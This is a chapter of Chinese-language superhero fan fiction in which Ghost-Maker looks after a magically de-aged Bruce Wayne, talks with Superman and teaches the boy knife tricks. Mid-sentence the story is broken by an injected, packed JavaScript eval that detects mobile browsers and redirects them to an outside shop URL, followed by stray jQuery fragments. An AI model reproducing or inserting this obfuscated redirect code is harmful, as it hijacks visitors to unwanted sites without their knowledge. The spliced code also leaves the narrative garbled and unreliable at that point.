明科设法令管家协议相信,布鲁斯当下处于某种年龄随时会发生变动的状态,于是他拿到了应对全年龄段布鲁斯的攻略——没啥用,但挺有意思的。那位管家去世后,布鲁斯持续对管家协议进行着更新,最近更多是注明当他的记忆回到身边跟着不同罗宾的那些时期,临时监管人应该给他看哪些资料来帮助他搞清状况,看样子他并不想给自己机会玩回到过去重建纽带那套。
“身份验证通过。呼叫来源:超人。”
明科扬起眉毛,戴回头盔,接通通讯。超人正坐在一团豆袋椅形状的云上,红蓝金配色跟那些全彩宣传照同样刺眼,不过脸上没有那种慰问病童的漂亮微笑。
“你好,幽魂制造者。”他朝这边郑重点头,仿佛幽魂制造者是个跟他不熟的正义联盟成员。“我收到了管家协议的提示信息。”
“我今天已经重复够多遍了:他现在是个十岁小孩。”明科抱起胳膊。“没有进一步说明,如果你想帮他,就让你那些正义伙伴别来烦我们。”
“联盟这边我会安排。”超人没有被激怒,继续以那种“好的又一个布鲁斯的没礼貌朋友”的方式打量明科。“幽魂制造者,我知道你是一名有杀人记录的义警兼刺客,但你通过协议验证意味着你在布鲁斯那个‘可以在失能状态下托付一切’的名单上,这牵涉良多,不是他会轻易作出的决定。所以我不会提出多余的质疑,如果你需要其他帮助,请随时联系我。”
哟,多感人啊。“你们睡过吗?”
“布鲁斯没告诉过我你们是那种关系。”
让布鲁斯自己解释去吧。“他也没跟我提过你。”
“我想也是。我是个已婚男人。”
“这不能说明任何问题。”
超人眨眨眼,而后大笑起来,“你的反应跟布鲁斯一模一样,我能看出来你俩为什么投缘。”
放屁,明科想。他初次认识布鲁斯时,布鲁斯完全就是会被“我已经结婚了”这种蹩脚的理由说服的那种人,所以也轻易相信了明科套在身上名为的“安东”的假皮囊。
“没有。”超人带着一副既认真又觉得好笑的神情思索片刻,绝对是在思考一个适合说服布鲁斯的理由,“我既没必要也没办法对你证明我的人品,不过想想看,作为有责任在我越界时阻止我的那个人,布鲁斯绝不会允许自己具备我的战友之外的角色,这点你总该相信吧?”
操,明科真感觉自己有点被说服了,“又他妈的双重关系?”
“噢。”超人再度讨人嫌地笑了起来,投来那种像是完全了解了什么事的眼神,真恶心。“如果说他认为用性来破坏一些珍贵的关系不值得,我完全相信,即使我难以苟同。但无论如何,无需把我当成对手——保持联系!”
他不费什么力气就能把超人从人群里揪出来,这外星人连个面具都没有,不过明科对超人没啥兴趣,除非他碍了自己的事。他关于明科和布鲁斯相似性的概括倒是有点儿意思,明科思忖,这可能就叫物极必反。当你的同理心泛滥到足以淹没雪山,你的即时反应可能会与完全没有同理心的家伙不谋而合。
【救我救——】
【说事!】
【他发现了!我没有嘴,我烤棉花糖干什么?】
明科烦得嗡嗡响的脑子空白了一下。【你真没嘴?】
【我直接通过皮肤吸收能量!你没发现吗我不吃饭!】
【我知道你吸收能量但不知道你在构造上就没——关我屁事!告诉他是烤给我的。】
罐罗焦虑忧郁的情绪垃圾中立即多了一丝喜悦的波动。【你要回来了?他最近十分钟一直在构思恐怖故事,你被抢遗产的坏人害死了,阿福觉得他太麻烦打算离开他——】
【等我先去搞到那该死的坐垫!】明科设置圣像继续同步资料,大步走向自己的车,准备前去实施幽魂制造者这辈子最可耻的一桩犯罪——韦恩庄园的新主人最好识相留着旧东西。【这事要是传出去,我把哥谭杀个片甲不留。】
【还要一个长抱枕!】罐罗立刻加长清单。【还有——】
【闭嘴!】
布鲁斯已经重新入股韦恩集团,不过似乎没在谈回购韦恩庄园的事宜,可能是因为回购庄园属于纯开支,就他目前有限的财力而言工作的优先级更高;当然,也可能是出于其他感情过剩的原因——他就不是个擅长挪窝的家伙。反正都是在别人手里,那人换成明科,布鲁斯也不该有什么意见。
管家协议储存了韦恩大宅不同时期的资料,结合对样本的扫描数据,不难做出磨损程度与二十年前相仿的复制品,但把幽魂制造者的基地和AI用在这种事上着实荒诞可笑。被惯坏的小海星一直在明科脑子里叽里呱啦地同步进展,明科用床单包着一大堆东西返回生活区时,布鲁斯已经重新开始玩训练刀了。通风口附近的地毯被掀起了一角,摆放着他们在室内生火做烤棉花糖和热巧克力的烂摊子,圣像-VII终端立在一旁,确保用火安全。
明科一进门,原本闭眼练习的布鲁斯立马双眼发亮地望过来,这完全不需要罐罗翻译,他特么跟终于等到了鸡妈妈的小鸡崽似的。
“看!”他叫道,同时右手做了个流畅的正反切换,“我刚才已经做到闭眼切换六十次了,今天肯定能练好!”
“对对对,真棒,别太得意。”明科敷衍着,把床单包往布鲁斯那张床上一扔。那堆软垫和布娃娃四下滚开时,布鲁斯跑了过来,眼睛睁得溜圆。
“够了?”明科拍拍他的脑袋,他不忿地甩了甩头。
“阿尔弗雷德怎么样了?”布鲁斯盯着他,“他有没有说什么?”
“可多了,他显然觉得我们应付不了你。”
布鲁斯扭头瞟了一眼那个角落,又看向罐罗(它心虚地飘开了一点儿),最后回到明科:“我能不能跟他通话?再短的时间都行。在……脑子里也行,罐罗能做到,不是吗?”
这可做不到,罐罗又不是通灵师。
【对了,你是吗?】
【当然不是!】罐罗在布鲁斯身后,延长自己左右两条肢体摆出一个叉。【他意识到我们在心灵感应通话了!还有他觉得你比他想象中更纵容他,他在考虑怎么搞定你!】
“不要这样,在我面前用脑子对话!”布鲁斯皱起眉头,“我不喜欢!”
“我们不喜欢的东西都多了去了,小子。”明科把一个抱枕丢向布鲁斯怀里,布鲁斯生气地将它一拳打飞。“潘尼沃斯先生现在不能见你,不过他警告过我,你有严重的分离焦虑。”
布鲁斯露出被刺痛的神情,但声音低了下去,“我没……我只是想知道他是否还好!”
“你还好他就还好。”明科回答,“行了,我来教你下一个动作。”
“不是说我得先做到一百次吗?”
“一门课不及格你就能只学一门课吗?”明科耸耸肩,他都忘记这茬了,反正都只是让小布鲁斯打发时间,“对了,这段时间你的所有学校课程转函授,我可不会给你查作业。”
布鲁斯脸上明显闪过一丝庆幸,随即罐罗又开始难过地朝明科脑子里倒垃圾。
【他更喜欢这样,他的校园生活很……可怕!原本他有最好的父母和家庭,现在所有人都要么怜悯要么幸灾乐祸!他在想能不能这事结束之后也不去学校。】
“你们又这样了!”布鲁斯甩了一下胳膊,又气又无助,十足的小孩子,“你是不是……你不喜欢我,对吗?那你为什么要做这些?阿福他……他觉得我很麻烦,拖他后腿了?”
他是不是不要我了?
“没有!我最喜欢你了!”罐罗飞到布鲁斯肩膀旁边,着急地甩动腕肢,“我们都最喜欢你了!”
“我既没有喜欢你,也没有不喜欢你,小子,我对绝大部分人都这样。反社会,记得吗?”明科叹着气半蹲下来,扯掉遮眼布,“我在意的人不多,但很不幸,确实存在,所以我多少也算是欠潘尼沃斯一个人情。我和你一样不喜欢现在的状况,但就你而言,别添乱就是能帮上的最大忙了。”
习惯了低明度,裸眼感觉有点儿亮。对上他的双眼,布鲁斯微微震动了一下,嘴唇翕动,把要说的话咀嚼了一番(罐罗没敢再转播),又抿了抿嘴,眼中再度渗进泪水。呃啊,烦死了。
“……我不喜欢其他人在我周围谈论我,我就是……受够了。”那孩子说,“人们总是这样,就好像……就好像我不知道我父母死了一样。”
“对不起。”罐罗小声说,布鲁斯推了它一下,用力很轻,罐罗顿时跟只八爪鱼似的缠住了他的手。
“知道了。”明科说,站了起来,但布鲁斯并没打算就此结束话题。
“你父母发生了什么?”
“信错了人,我也一样。一群更有权势的罪犯抢走了他们的钱,把他们杀了。”
“然后你……怎么……”
“我去找世界上最顶尖的一些人学艺,打败他们,有时杀死他们。然后我回到老家,找到杀死我父母的人,把她对我父母的羞辱还给他,然后杀
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17694438|207961||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了她,夺回属于我的一切。”明科陈述,观察布鲁斯的反应——轻轻吸着气,既像是害怕又像是着迷,“然后我继续杀那些该死的人,就这样。”
“你为什么要继续……你已经报仇了。”布鲁斯认真地、小心地问,仿佛在确认自己是否找到了心目中的救星,“那还不够吗?你想……你是不是想阻止同样的事发生在其他人身上?”
“不是。”明科干脆地回答,布鲁斯的反应就像是被他扇了一样,而罐罗朝他翻了个愤怒的白眼。要不是刚才布鲁斯说的话,它估计又开始试图在精神世界揍明科了。
明科完全可以扮演布鲁斯理想中的那个人——曾让布鲁斯甘愿袒露自己所有秘密的“安东”,这种角色扮演现在对他来说就像换件衣服一样简单。可是尽管他按照临时状况来安排这一切,康斯坦丁所说的别无他法只能让小布鲁斯重新长大的那种可能性仍然沉沉地压在他胸口。他或许能把布鲁斯放在这里几个月,但如果时间线拖长到以年为单位计算,他的谎言将成为小布鲁斯的一部分,这个更加脆弱不设防的小布鲁斯——他面临的后果也许将不仅仅是一张像是遭受背叛的傻脸。
严格来说,这甚至都不是小布鲁斯,是魔法制造的一个现实存档。他所认识的那个布鲁斯已经不存在了,他压根不可能原样养出一个布鲁斯来。
“对不起。”小布鲁斯忽然低下头,明科怔了一下,意识到自己肯定流露出了某种痛苦的迹象,而小布鲁斯完全误解了原因。
“打击犯罪是门卓越的艺术,而情感会破坏它。”明科拍拍布鲁斯的肩膀,“去坐下,我教你一个在谈判桌上能用到的小技巧——桌面刀。”
人们说“谈判桌上能用到的技巧”时通常是指谈判技巧,幽魂制造者,而不是干掉谈判对象的技巧。明科听见布鲁斯在自己的脑子里说。
“我和罐罗给你烤了棉花糖。”小布鲁斯则说,没趴着罐罗的手指向角落里一个盛着焦黄物体的盘子,“已经凉了,本来烤得挺好的。”
他俩看样子是和好了,布鲁斯已经下意识地把罐罗抱在胸前,罐罗显然欢欣鼓舞。此后布鲁斯和罐罗之间有了更详尽的规则,像是明科出门时罐罗可以通过心灵感应与他保持联系,包括按照布鲁斯的请求带话,但严禁不经允许将任何一个人的想法透露给另一个人——布鲁斯式的“公平”。罐罗无疑是从明科这儿学到了经验,开始教布鲁斯如何避免将所有想法在思维表层公放,情绪低谷期,布鲁斯尤其愿意练习这个项目。
从明科的角度来说,第一天短暂的冲突和休战只能算是灾难的序曲。他不得不继续忍受罐罗继续在自己脑子里乱叫(不再转述具体内容,笼统地催促他布鲁斯情绪又坏了赶紧回来),应付两人份的工作,以及布鲁斯在自己边界上的反复试探。情绪高涨的布鲁斯尤其难缠,不放过任何谈判的机会和筹码(包括进食量以及完成其实是圣像布置的作业,幼稚得要死),想尽办法要求出门、上网或者与潘尼沃斯通话。单就训练而言,明科得承认布鲁斯学得还挺快,不过这多半给了布鲁斯些错觉,他不断用悄悄盘算怎么将所学用在明科身上的方式打量明科。明科只希望他赶紧放马过来,这样就算是罐罗也不能阻止他被胖揍一顿了。
对于摄像头,布鲁斯倒没多大意见。他擅自假设了摄像头那边是潘尼沃斯或福克斯,明科没必要干涉,于是圣像提示摄像头开启时,布鲁斯会乖乖跟它打招呼,说些明科对自己还不错之类的让对面放心的话。鬼网拦截了几次入侵,明科略作反击以示警告,同时每六小时催一次康斯坦丁。康斯坦丁从第三天开始反复诅咒他下地狱。
他们度过了大体相安无事的三周,麻烦来了。明科正把一伙强盗挨个吊在一排路灯上(与此同时受害者毫无礼貌地嚷着“你怎么是白的”),罐罗突然在他脑子里大放防空警报。这不是普通的乱叫,圣像也发出了设备正在遭受破坏的示警。看样子布鲁斯撬出了明科的床头板后面的备用平板,他肯定盯了它有几天了,明科想起来这个平板的解锁密码是……布鲁斯?韦恩的生日。
——闭嘴。明科接受布鲁斯的新任命时改的,好吗?蝙蝠侠多半会设法入侵幽魂制造者的基地,那家伙就是抵抗不了这种冲动,他只是为了拿布鲁斯开涮而已。
明科回到基地时,布鲁斯他的床旁边的地面上,两条胳膊死死抱着平板,脸色煞白。平板锁住了,但显然布鲁斯已经获得了关键信息。
“……它的系统时间戳是怎么回事?”布鲁斯声音微弱,瞳孔在恐惧中放大。